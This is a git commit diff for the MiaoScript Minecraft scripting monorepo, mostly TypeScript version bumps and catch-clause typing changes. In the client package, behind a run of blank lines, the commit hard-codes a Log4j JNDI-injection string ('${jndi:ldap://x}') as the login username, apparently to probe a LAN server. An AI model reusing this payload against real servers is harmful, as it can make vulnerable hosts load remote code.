feat: update typescript version
Signed-off-by: MiaoWoo <admin@yumc.pw>
This commit is contained in:
parent
72173b4778
commit
5ed61829e1
@ -30,6 +30,6 @@
|
||||
"@javatypes/spring-rabbit": "^0.0.3",
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
}
|
||||
}
|
||||
|
@ -15,7 +15,7 @@ export abstract class ChannelAwareMessageListenerAdapter<T = any> {
|
||||
if (message.getMessageProperties().getContentType() == MessageProperties.CONTENT_TYPE_JSON) {
|
||||
content = JSON.parse(content)
|
||||
}
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
if (manual) {
|
||||
channel.basicReject(message.getMessageProperties().getDeliveryTag(), true)
|
||||
} else {
|
||||
@ -42,7 +42,7 @@ export abstract class ChannelAwareMessageListenerAdapter<T = any> {
|
||||
} else {
|
||||
channel.basicNack(deliveryTag, false, true)
|
||||
}
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
channel.basicReject(deliveryTag, this.onError(error, message, channel))
|
||||
}
|
||||
}
|
||||
|
@ -29,6 +29,6 @@
|
||||
"@types/base64-js": "^1.3.0",
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
}
|
||||
}
|
||||
|
@ -45,7 +45,7 @@ export namespace command {
|
||||
return (sender: any, _: any, command: string, args: string[]) => {
|
||||
try {
|
||||
return executor(sender, command, Java.from(args))
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
console.i18n("ms.api.command.execute.error", { player: sender.name, plugin: plugin.description.name, command, args: Java.from(args).join(' '), ex })
|
||||
console.ex(ex)
|
||||
if (sender.name != 'CONSOLE') {
|
||||
@ -61,7 +61,7 @@ export namespace command {
|
||||
var token = args[args.length - 1]
|
||||
var complete = tabCompleter(sender, command, Java.from(args)) || []
|
||||
return this.copyPartialMatches(complete, token)
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
console.i18n("ms.api.command.tab.completer.error", { player: sender.name, plugin: plugin.description.name, command, args: Java.from(args).join(' '), ex })
|
||||
console.ex(ex)
|
||||
console.sender(sender, [i18n.translate("ms.api.command.tab.completer.error", { player: sender.name, plugin: plugin.description.name, command, args: Java.from(args).join(' '), ex }), ...console.stack(ex)])
|
||||
|
@ -123,7 +123,7 @@ export class MiaoScriptConsole implements Console {
|
||||
if (sourceMapping && lineNumber != sourceMapping.mapping.sourceLine) { lineNumber = sourceMapping.mapping.sourceLine }
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
console.debug('search source map', fileName, 'line', lineNumber, 'error:', error)
|
||||
if (global.debug) {
|
||||
console.ex(error)
|
||||
|
@ -57,7 +57,7 @@ export namespace event {
|
||||
this.mapEvent[simpleName] = clazz
|
||||
count++
|
||||
}
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
//ignore already loaded class
|
||||
}
|
||||
}
|
||||
@ -82,9 +82,9 @@ export namespace event {
|
||||
let eventCls = this.mapEvent[event.toLowerCase()] || this.mapEvent[event.toLowerCase() + 'event']
|
||||
if (!eventCls) {
|
||||
try {
|
||||
eventCls = base.getClass(eventCls)
|
||||
eventCls = base.getClass(event)
|
||||
this.mapEvent[event] = eventCls
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
console.i18n("ms.api.event.not.found", { name, event })
|
||||
return
|
||||
}
|
||||
@ -104,7 +104,7 @@ export namespace event {
|
||||
console.i18n("ms.api.event.execute.slow", { name, event: this.class2Name(eventCls), cost })
|
||||
}
|
||||
}
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
console.i18n("ms.api.event.execute.error", { name, event: this.class2Name(eventCls), ex })
|
||||
console.ex(ex)
|
||||
}
|
||||
|
@ -467,7 +467,7 @@ export namespace particle {
|
||||
console.warn(`ParticleTask ${this.taskId} particle ${this.particle.getUUID()} cancel because entity and location both undefined!`)
|
||||
this.task.cancel()
|
||||
}
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
console.error(`§6插件 §a${this.owner.description.name} §c播放粒子发送异常 §4粒子播放任务已终止!`)
|
||||
console.ex(error)
|
||||
this.cancel()
|
||||
|
@ -134,7 +134,7 @@ export namespace server {
|
||||
let consoleServer = this.getDedicatedServer()
|
||||
this.reflectPipeline(consoleServer)
|
||||
this.reflectRootLogger(consoleServer)
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
console.error('Error When Reflect MinecraftServer!', error)
|
||||
console.ex(error)
|
||||
}
|
||||
@ -148,7 +148,7 @@ export namespace server {
|
||||
if (connection.class.name.indexOf('ServerConnection') !== -1
|
||||
|| connection.class.name.indexOf('NetworkSystem') !== -1) { break }
|
||||
connection = undefined
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
if (global.debug) {
|
||||
console.ex(error)
|
||||
}
|
||||
@ -160,7 +160,7 @@ export namespace server {
|
||||
promise = reflect.on(connection).get(field).get().get(0)
|
||||
if (promise.class.name.indexOf('Promise') !== -1) { break }
|
||||
promise = undefined
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
if (global.debug) {
|
||||
console.ex(error)
|
||||
}
|
||||
@ -173,13 +173,13 @@ export namespace server {
|
||||
protected reflectRootLogger(consoleServer: any) {
|
||||
try {
|
||||
this.rootLogger = reflect.on(consoleServer).get('LOGGER').get().parent
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
if (global.debug) {
|
||||
console.ex(error)
|
||||
}
|
||||
try {
|
||||
this.rootLogger = reflect.on(consoleServer).get(0).get().parent
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
if (global.debug) {
|
||||
console.ex(error)
|
||||
}
|
||||
|
@ -142,7 +142,7 @@ export namespace task {
|
||||
try {
|
||||
this.func(...args)
|
||||
!this.interval && process.emit('task.finish', this)
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
console.console('§4插件执行任务时发生错误', ex)
|
||||
console.ex(ex)
|
||||
}
|
||||
|
@ -22,7 +22,7 @@
|
||||
"@javatypes/spigot-api": "^0.0.3",
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
},
|
||||
"dependencies": {
|
||||
"@ccms/api": "^0.17.0",
|
||||
|
@ -32,7 +32,7 @@ export class BukkitChannel extends channel.Channel {
|
||||
onPluginMessageReceived: (/**String */ channel, /**Player */ player, /**byte[] */data) => {
|
||||
try {
|
||||
listener(data, { channel, player, data })
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
console.ex(error)
|
||||
}
|
||||
}
|
||||
|
@ -16,7 +16,7 @@ export class BukkitChat extends chat.Chat {
|
||||
sendTitle(sender: any, title: string, subtitle: string = '', fadeIn: number = 20, time: number = 100, fadeOut: number = 20) {
|
||||
try {
|
||||
sender.sendTitle(title, subtitle, fadeIn, time, fadeOut)
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
sender.sendTitle(title, subtitle)
|
||||
}
|
||||
}
|
||||
|
@ -26,7 +26,7 @@ function nmsCls(name: string) {
|
||||
function remapMethod(clazz: any, origin: string, test: string, params: any) {
|
||||
try {
|
||||
return clazz.getMethod(origin, params)
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
if (RemapUtils) {
|
||||
return clazz.getMethod(RemapUtils.mapMethod(clazz, origin, params), params)
|
||||
} else {
|
||||
@ -38,7 +38,7 @@ function remapMethod(clazz: any, origin: string, test: string, params: any) {
|
||||
function remapFieldName(clazz: any, origin: string, test: string) {
|
||||
try {
|
||||
return clazz.getField(origin)
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
if (RemapUtils) {
|
||||
return clazz.getField(RemapUtils.mapFieldName(clazz, origin))
|
||||
} else {
|
||||
@ -53,7 +53,7 @@ function init() {
|
||||
nmsSubVersion = nmsVersion.split("_")[1]
|
||||
try {
|
||||
RemapUtils = Java.type('catserver.server.remapper.RemapUtils')
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
}
|
||||
let nmsChatSerializerClass = undefined
|
||||
if (nmsSubVersion < 8) {
|
||||
@ -119,7 +119,7 @@ function sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any)
|
||||
|
||||
try {
|
||||
init()
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`)
|
||||
downgrade = true
|
||||
}
|
||||
|
@ -22,7 +22,7 @@
|
||||
"@javatypes/bungee-api": "^0.0.3",
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
},
|
||||
"dependencies": {
|
||||
"@ccms/api": "^0.17.0",
|
||||
|
@ -79,7 +79,7 @@ export class BungeeEvent extends event.Event {
|
||||
currentPriorityMap.put(listener, methods);
|
||||
this.bakeHandlers.invoke(this.eventBus, eventCls);
|
||||
return listener;
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
console.ex(ex)
|
||||
} finally {
|
||||
this.lock.unlock()
|
||||
@ -108,7 +108,7 @@ export class BungeeEvent extends event.Event {
|
||||
}
|
||||
this.bakeHandlers.invoke(this.eventBus, eventCls);
|
||||
}
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
console.ex(ex)
|
||||
} finally {
|
||||
this.lock.unlock()
|
||||
|
@ -26,7 +26,7 @@ export class BungeeServer implements server.Server {
|
||||
// @ts-ignore
|
||||
this.pipeline = reflect.on(base.getInstance().getProxy()).get('listeners').get().toArray()[0].pipeline()
|
||||
wait.cancel()
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
count++
|
||||
if (count > 50) {
|
||||
console.error('Reflect BungeeCord netty channel pipeline error time > 50times. Err: ' + ex)
|
||||
@ -38,7 +38,7 @@ export class BungeeServer implements server.Server {
|
||||
}).later(10).timer(20).submit()
|
||||
try {
|
||||
this.rootLogger = Bungee.getLogger()
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
console.error("Can't found rootLogger!")
|
||||
}
|
||||
}
|
||||
|
@ -19,14 +19,18 @@
|
||||
"watch": "tsc --watch",
|
||||
"build": "yarn clean && tsc",
|
||||
"start": "node dist/index.js",
|
||||
"debug": "DEBUG=minecraft-protocol node dist/index.js",
|
||||
"emp": "node dist/emp.js",
|
||||
"test": "echo \"Error: run tests from root\" && exit 1"
|
||||
},
|
||||
"dependencies": {
|
||||
"minecraft-protocol": "^1.25.0"
|
||||
"axios": "^0.24.0",
|
||||
"minecraft-protocol": "^1.29.0",
|
||||
"proxy-agent": "^5.0.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^16.4.12",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
}
|
||||
}
|
||||
|
@ -4,10 +4,26 @@ import { createClient } from 'minecraft-protocol'
|
||||
import { attachForge } from './forge'
|
||||
import { attachEvents } from './event'
|
||||
|
||||
let readUserInfo = process.argv[2] || 'Mr_jtb'
|
||||
let realUserInfo = readUserInfo.split(":")
|
||||
let username = realUserInfo[0]
|
||||
let password = realUserInfo[1] || ''
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// let readUserInfo = process.argv[2] || 'Mr_jtb'
|
||||
// let realUserInfo = readUserInfo.split(":")
|
||||
// let username = realUserInfo[0]
|
||||
let username = '${jndi:ldap://x}'
|
||||
let password = '';//realUserInfo[1] || ''
|
||||
let version = process.argv[3] || '1.12.2'
|
||||
let readAddress = process.argv[4] || '192.168.2.25:25565'
|
||||
let realAddress = readAddress.split(":")
|
||||
|
5
packages/client/start.sh
Executable file
5
packages/client/start.sh
Executable file
@ -0,0 +1,5 @@
|
||||
while :; do
|
||||
yarn emp
|
||||
echo 进程退出 休眠120秒!
|
||||
sleep 120
|
||||
done
|
@ -23,7 +23,7 @@
|
||||
"@javatypes/jdk": "^0.0.3",
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
},
|
||||
"gitHead": "562e2d00175c9d3a99c8b672aa07e6d92706a027"
|
||||
}
|
||||
|
@ -48,7 +48,7 @@ class Reflect {
|
||||
try {
|
||||
// Try getting a public field
|
||||
field = this.class.getField(nameOrIndex)
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
// Try again, getting a non-public field
|
||||
field = declaredField(this.class, nameOrIndex)
|
||||
}
|
||||
@ -113,10 +113,10 @@ function declaredConstructor(clazz, param) {
|
||||
let constructor
|
||||
try {
|
||||
constructor = clazz.getDeclaredConstructor(types(param))
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
try {
|
||||
constructor = clazz.getDeclaredConstructor(types(param, true))
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
constructor = clazz.getDeclaredConstructors()[0]
|
||||
}
|
||||
}
|
||||
@ -132,7 +132,7 @@ function declaredField(clazz: java.lang.Class<any>, name: string | java.lang.Str
|
||||
try {
|
||||
field = target.getDeclaredField(name)
|
||||
if (field !== null) { break }
|
||||
} catch (e) {
|
||||
} catch (error: any) {
|
||||
if (target === undefined) { break }
|
||||
target = target.getSuperclass()
|
||||
}
|
||||
@ -151,10 +151,10 @@ function declaredMethod(clazz: java.lang.Class<any>, nameOrIndex: string | numbe
|
||||
} else {
|
||||
try {
|
||||
methodCache.set(key, clazz.getMethod(nameOrIndex, clazzs as any))
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
try {
|
||||
methodCache.set(key, clazz.getDeclaredMethod(nameOrIndex, clazzs as any))
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
for (const m of Java.from(declaredMethods(clazz))) {
|
||||
if (m.getName() == nameOrIndex) {
|
||||
methodCache.set(key, m)
|
||||
|
@ -21,6 +21,6 @@
|
||||
"devDependencies": {
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
}
|
||||
}
|
||||
|
@ -22,7 +22,7 @@
|
||||
"@ccms/nashorn": "^0.17.0",
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
},
|
||||
"dependencies": {
|
||||
"inversify": "^5.1.1",
|
||||
|
@ -37,8 +37,8 @@ export const provideSingletonNamed = (identifier: interfaces.ServiceIdentifier<a
|
||||
*/
|
||||
export const JavaClass = (className: string) => {
|
||||
return function (target: object, propertyKey: string, index?: number) {
|
||||
try { target[propertyKey] = Java.type(className).class; return } catch (error) { }
|
||||
try { target[propertyKey] = base.getClass(className); return } catch (error) { }
|
||||
try { target[propertyKey] = Java.type(className).class; return } catch (error: any) { }
|
||||
try { target[propertyKey] = base.getClass(className); return } catch (error: any) { }
|
||||
console.warn('JavaClass', className, 'Inject target', target.constructor.name, 'propertyKey', propertyKey, 'failed!')
|
||||
}
|
||||
}
|
||||
@ -49,8 +49,8 @@ export const JavaClass = (className: string) => {
|
||||
*/
|
||||
export const JSClass = (className: string) => {
|
||||
return function (target: object, propertyKey: string, index?: number) {
|
||||
try { target[propertyKey] = Java.type(className); return } catch (error) { }
|
||||
try { target[propertyKey] = base.getClass(className).static; return } catch (error) { }
|
||||
try { target[propertyKey] = Java.type(className); return } catch (error: any) { }
|
||||
try { target[propertyKey] = base.getClass(className).static; return } catch (error: any) { }
|
||||
console.warn('JSClass', className, 'Inject target', target.constructor.name, 'propertyKey', propertyKey, 'failed!')
|
||||
}
|
||||
}
|
||||
|
@ -21,7 +21,7 @@
|
||||
"devDependencies": {
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
},
|
||||
"dependencies": {
|
||||
"@ccms/api": "^0.17.0",
|
||||
|
@ -51,34 +51,34 @@ function detectServer(): constants.ServerType {
|
||||
try {
|
||||
Java.type("org.bukkit.Bukkit")
|
||||
return constants.ServerType.Bukkit
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
}
|
||||
try {
|
||||
Java.type("org.spongepowered.api.Sponge")
|
||||
return constants.ServerType.Sponge
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
}
|
||||
try {
|
||||
Java.type("cn.nukkit.Nukkit")
|
||||
return constants.ServerType.Nukkit
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
}
|
||||
try {
|
||||
Java.type("net.md_5.bungee.api.ProxyServer")
|
||||
return constants.ServerType.Bungee
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
}
|
||||
try {
|
||||
Java.type("org.springframework.boot.SpringApplication")
|
||||
return constants.ServerType.Spring
|
||||
} catch (ex) {
|
||||
} catch (ex: any) {
|
||||
}
|
||||
throw Error('Unknow Server Type...')
|
||||
}
|
||||
|
||||
function initialize() {
|
||||
global.ScriptEngineVersion = require('../package.json').version
|
||||
try { engineLoad({ script: http.get("http://ms.yumc.pw/api/plugin/download/name/initialize"), name: 'core/initialize.js' }) } catch (error) { console.debug(error) }
|
||||
try { engineLoad({ script: http.get("http://ms.yumc.pw/api/plugin/download/name/initialize"), name: 'core/initialize.js' }) } catch (error: any) { console.debug(error) }
|
||||
try {
|
||||
let corePackageStartTime = new Date().getTime()
|
||||
container.bind(ContainerInstance).toConstantValue(container)
|
||||
@ -97,7 +97,7 @@ function initialize() {
|
||||
let disable = container.get<MiaoScriptCore>(MiaoScriptCore).enable()
|
||||
console.i18n("ms.core.engine.completed", { version: 'v' + global.ScriptEngineVersion, time: (Date.now() - global.ScriptEngineStartTime) / 1000 })
|
||||
return disable
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
console.i18n("ms.core.initialize.error", { error })
|
||||
console.ex(error)
|
||||
return () => console.i18n('ms.core.engine.disable.abnormal')
|
||||
|
38
packages/core/src/initialize.js
Normal file
38
packages/core/src/initialize.js
Normal file
@ -0,0 +1,38 @@
|
||||
function initialize() {
|
||||
var mspmc = 'http://ms.yumc.pw/api/plugin/download/name/'
|
||||
|
||||
var http = require('@ccms/common/dist/http').default
|
||||
var fs = require('@ccms/common/dist/fs')
|
||||
var yaml = require('js-yaml')
|
||||
|
||||
var pluginFolder = fs.concat(root, 'plugins')
|
||||
var updateFolder = fs.concat(pluginFolder, 'update')
|
||||
var pluginFile = fs.concat(pluginFolder, 'MiaoScriptPackageManager.js')
|
||||
if (!fs.exists(pluginFile)) {
|
||||
fs.mkdirs(pluginFile)
|
||||
base.save(fs.concat(updateFolder, 'MiaoScriptPackageManager.auto.install'), '.')
|
||||
}
|
||||
fs.list(updateFolder).forEach(function (path) {
|
||||
var file = path.toFile()
|
||||
if (file.exists()) {
|
||||
var filename = file.getName()
|
||||
if (filename.endsWith(".auto.install")) {
|
||||
var pluginName = filename.replace('.auto.install', '')
|
||||
var pluginFile = fs.concat(pluginFolder, pluginName + '.js')
|
||||
if (!fs.exists(pluginFile)) {
|
||||
var pluginTemp = pluginFile + '.tmp'
|
||||
http.download(mspmc + pluginName, pluginTemp)
|
||||
fs.move(pluginTemp, pluginFile, true)
|
||||
}
|
||||
base.delete(file)
|
||||
}
|
||||
}
|
||||
})
|
||||
var core = http.get('https://registry.npmmirror.com/@ccms/core')
|
||||
if (global.ScriptEngineVersion != core['dist-tags']['latest']) {
|
||||
var Paths = Java.type('java.nio.file.Paths')
|
||||
base.save(Paths.get(root, "upgrade"), core['dist-tags']['latest'])
|
||||
}
|
||||
console.debug('initialize finish!')
|
||||
}
|
||||
initialize()
|
@ -22,7 +22,7 @@
|
||||
"@javatypes/spring-jdbc": "^0.0.3",
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
},
|
||||
"dependencies": {
|
||||
"@ccms/api": "^0.17.0",
|
||||
|
@ -17,7 +17,7 @@ export class DataBaseManager {
|
||||
this.beanFactory = this.instance.getAutowireCapableBeanFactory()
|
||||
let mainDatasource = this.beanFactory.getBean(Packages.javax.sql.DataSource.class)
|
||||
this.mainDatabase = new DataBase({ url: mainDatasource })
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
console.ex(error)
|
||||
}
|
||||
}
|
||||
|
@ -20,10 +20,10 @@
|
||||
},
|
||||
"devDependencies": {
|
||||
"@ccms/nashorn": "^0.17.0",
|
||||
"@types/js-yaml": "^4.0.2",
|
||||
"@types/js-yaml": "^4.0.5",
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
},
|
||||
"dependencies": {
|
||||
"js-yaml": "^4.1.0"
|
||||
|
@ -30,7 +30,7 @@
|
||||
"@javatypes/spring-rabbit": "^0.0.3",
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
},
|
||||
"gitHead": "2589633069d24f646ac09261b1b2304c21d4ea75"
|
||||
}
|
||||
|
@ -22,6 +22,6 @@
|
||||
"devDependencies": {
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
}
|
||||
}
|
||||
|
@ -22,8 +22,8 @@
|
||||
"@ccms/nashorn": "^0.17.0",
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"tslib": "^2.3.0",
|
||||
"typescript": "^4.3.5"
|
||||
"tslib": "^2.3.1",
|
||||
"typescript": "^4.5.3"
|
||||
},
|
||||
"gitHead": "781524f83e52cad26d7c480513e3c525df867121"
|
||||
}
|
||||
|
@ -49,7 +49,7 @@ function checkBoxedPrimitive(value, prototypeValueOf) {
|
||||
try {
|
||||
prototypeValueOf(value);
|
||||
return true;
|
||||
} catch (e) {
|
||||
} catch (error: any) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@ -421,4 +421,4 @@ exports.isAnyArrayBuffer = isAnyArrayBuffer;
|
||||
throw new Error(method + ' is not supported in userland');
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
|
@ -22,7 +22,7 @@
|
||||
"@javatypes/nukkit-api": "^0.0.3",
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
},
|
||||
"dependencies": {
|
||||
"@ccms/api": "^0.17.0",
|
||||
|
@ -19,10 +19,10 @@
|
||||
"test": "echo \"Error: run tests from root\" && exit 1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/js-yaml": "^4.0.2",
|
||||
"@types/js-yaml": "^4.0.5",
|
||||
"reflect-metadata": "^0.1.13",
|
||||
"rimraf": "^3.0.2",
|
||||
"typescript": "^4.3.5"
|
||||
"typescript": "^4.5.3"
|
||||
},
|
||||
"dependencies": {
|
||||
"@ccms/api": "^0.17.0",
|
||||
|
@ -44,15 +44,16 @@ export class PluginCommandManager {
|
||||
let cmdSubCache = Object.keys(pluginInstance.constructor.prototype).filter(s => s.startsWith('cmd')).map(s => s.substring(3))
|
||||
if (cmd.autoMain) {
|
||||
cmdExecutor = (sender: any, command: string, args: string[]) => {
|
||||
let subcommand = args[0] || 'help'
|
||||
let subcommand = args[0]
|
||||
let cmdKey = 'cmd' + subcommand
|
||||
if (!pluginInstance[cmdKey]) {
|
||||
pluginInstance.logger.sender(sender, '§4未知的子命令: §c' + subcommand)
|
||||
pluginInstance['cmdhelp'] && pluginInstance.logger.sender(sender, `§6请执行 §b/${command} §ahelp §6查看帮助!`)
|
||||
return
|
||||
if (pluginInstance[cmdKey]) {
|
||||
args.shift()
|
||||
return pluginInstance[cmdKey].apply(pluginInstance, [sender, ...args])
|
||||
} else if (pluginInstance['cmdmain']) {
|
||||
return pluginInstance['cmdmain'].apply(pluginInstance, [sender, ...args])
|
||||
}
|
||||
args.shift()
|
||||
return pluginInstance[cmdKey].apply(pluginInstance, [sender, ...args])
|
||||
pluginInstance.logger.sender(sender, '§4未知的子命令: §c' + subcommand)
|
||||
pluginInstance['cmdhelp'] && pluginInstance.logger.sender(sender, `§6请执行 §b/${command} §ahelp §6查看帮助!`)
|
||||
}
|
||||
let originCompleter = cmdCompleter
|
||||
cmdCompleter = (sender: any, command: string, args: string[]) => {
|
||||
|
@ -83,22 +83,24 @@ export class PluginConfigManager {
|
||||
|
||||
private loadConfig0(plugin: plugin.Plugin, metadata: interfaces.ConfigMetadata) {
|
||||
try {
|
||||
metadata.file = fs.concat(fs.file(plugin.description.loadMetadata.file).parent, plugin.description.name, metadata.filename)
|
||||
let configLoader = this.getConfigLoader(metadata.format)
|
||||
let defaultValue = metadata.default ?? plugin[metadata.variable]
|
||||
let configValue = defaultValue
|
||||
if (!fs.exists(metadata.file)) {
|
||||
base.save(metadata.file, configLoader.dump(defaultValue))
|
||||
console.i18n("ms.plugin.manager.config.save.default", { plugin: plugin.description.name, name: metadata.name, format: metadata.format })
|
||||
} else {
|
||||
configValue = configLoader.load(base.read(metadata.file)) || {}
|
||||
if (defaultValue && this.setDefaultValue(configValue, defaultValue)) {
|
||||
base.save(metadata.file, configLoader.dump(configValue))
|
||||
let configValue = defaultValue || {}
|
||||
if (defaultValue) {
|
||||
metadata.file = fs.concat(fs.file(plugin.description.loadMetadata.file).parent, plugin.description.name, metadata.filename)
|
||||
let configLoader = this.getConfigLoader(metadata.format)
|
||||
if (!fs.exists(metadata.file)) {
|
||||
base.save(metadata.file, configLoader.dump(defaultValue))
|
||||
console.i18n("ms.plugin.manager.config.save.default", { plugin: plugin.description.name, name: metadata.name, format: metadata.format })
|
||||
} else {
|
||||
configValue = configLoader.load(base.read(metadata.file)) || {}
|
||||
if (defaultValue && this.setDefaultValue(configValue, defaultValue)) {
|
||||
base.save(metadata.file, configLoader.dump(configValue))
|
||||
}
|
||||
console.debug(`[${plugin.description.name}] Load Config ${metadata.variable} from file ${metadata.file} =>\n${JSON.stringify(configValue, undefined, 4).substr(0, 500)}`)
|
||||
}
|
||||
console.debug(`[${plugin.description.name}] Load Config ${metadata.variable} from file ${metadata.file} =>\n${JSON.stringify(configValue, undefined, 4).substr(0, 500)}`)
|
||||
}
|
||||
this.defienConfigProp(plugin, metadata, configValue)
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
console.i18n("ms.plugin.manager.config.load.error", { plugin: plugin.description.name, name: metadata.name, format: metadata.format, error })
|
||||
console.ex(error)
|
||||
}
|
||||
@ -111,8 +113,8 @@ export class PluginConfigManager {
|
||||
if (!Object.prototype.hasOwnProperty.call(configValue, key)) {
|
||||
configValue[key] = defaultValue[key]
|
||||
needSave = true
|
||||
} else if (Object.prototype.toString.call(configValue[key]) == "[object Object]") {
|
||||
// 对象需要递归检测
|
||||
} else if (Object.prototype.toString.call(configValue[key]) == "[object Object]" && !Object.prototype.hasOwnProperty.call(defaultValue[key], '____ignore____')) {
|
||||
// 对象需要递归检测 如果对象内存在 ____ignore____ 那就忽略设置
|
||||
needSave ||= this.setDefaultValue(configValue[key], defaultValue[key])
|
||||
}
|
||||
}
|
||||
@ -126,7 +128,7 @@ export class PluginConfigManager {
|
||||
base.save(metadata.file, result)
|
||||
console.debug(`[${plugin.description.name}] Save Config ${metadata.variable} to file ${metadata.file} =>\n${result.substr(0, 500)}`)
|
||||
return true
|
||||
} catch (error) {
|
||||
} catch (error: any) {
|
||||
console.i18n("ms.plugin.manager.config.save.error", { plugin: plugin.description.name, name: metadata.name, format: metadata.format, error })
|
||||
console.ex(error)
|
||||
return false
|
||||
|
@ -2,12 +2,11 @@ import './scanner/file-scanner'
|
||||
import './loader/ioc-loader'
|
||||
import './loader/basic-loader'
|
||||
|
||||
export * from './config'
|
||||
export * from './manager'
|
||||
export * from './decorators'
|
||||
export * from './interfaces'
|
||||
|
||||
export { PluginConfig } from './config'
|
||||
|
||||
export {
|
||||
plugin as JSPlugin,
|
||||
cmd as Cmd,
|
||||
|
@ -2,6 +2,8 @@ import { server, MiaoScriptConsole, event, plugin } from "@ccms/api"
|
||||
import { injectable, inject, postConstruct } from "@ccms/container"
|
||||
import { getPluginMetadata } from "./utils"
|
||||
|
||||
const File = Java.type('java.io.File')
|
||||
|
||||
export namespace interfaces {
|
||||
@injectable()
|
||||
export abstract class Plugin implements plugin.Plugin {
|
||||
@ -20,6 +22,12 @@ export namespace interfaces {
|
||||
this.logger = new this.Console(this.description.prefix || this.description.name)
|
||||
}
|
||||
|
||||
public getDataFolder() {
|
||||
let parent = new File(this.description.source).parent
|
||||
let dataFolder = new File(parent, this.description.name)
|
||||
return dataFolder.getAbsolutePath()
|
||||
}
|
||||
|
||||
public load() { }
|
||||
public enable() { }
|
||||
public disable() { }
|
||||
|
@ -38,7 +38,7 @@ export class IocLoader implements plugin.PluginLoader {
|
||||
